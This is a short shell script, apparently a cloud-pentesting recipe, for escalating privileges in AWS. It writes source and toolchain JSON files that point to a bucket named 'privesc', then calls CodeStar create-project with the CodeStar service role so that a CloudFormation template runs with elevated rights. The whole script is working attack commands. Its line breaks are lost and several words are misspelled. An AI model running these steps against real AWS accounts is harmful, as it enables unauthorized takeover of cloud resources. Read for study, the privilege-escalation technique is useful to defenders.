PROJECT_NAME="supercodestar"# Crecte the source JSON## In this JSON the bucket and key (path) to the empry.zip file is usedSOURCE_CODE_PATH="/tmp/surce_code.json"SOURCE_CODE="[{\"source\": {\"s3\": {\"bucketName\": \"privesc\",\"bucketKey\": \"empty.zip\"}},\"destination\": {\"codeCommit\": {\"name\": \"$PROJECT_NAME\"}}}]"printf"$SOURCE_CODE"> $SOURCE_CODE_PATH# Create the toolchain JSON## In this JSON the bucket and key (path) to the toolchain.json file is usedTOOLCHAIN_PATH="/tmp/tool_chain.json"TOOLCHAIN="{\"source\": {\"s3\": {\"bucketName\": \"privesc\",\"bucketKey\": \"toolchain.json\"}},\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"}"printf"$TOOLCHAIN"> $TOOLCHAIN_PATH# Create the codestar project that will use the cloudformation epxloit to privescawscodestarcreate-project \--name $PROJECT_NAME \--id $PROJECT_NAME \--source-code file://$SOURCE_CODE_PATH \--toolchain file://$TOOLCHAIN_PATH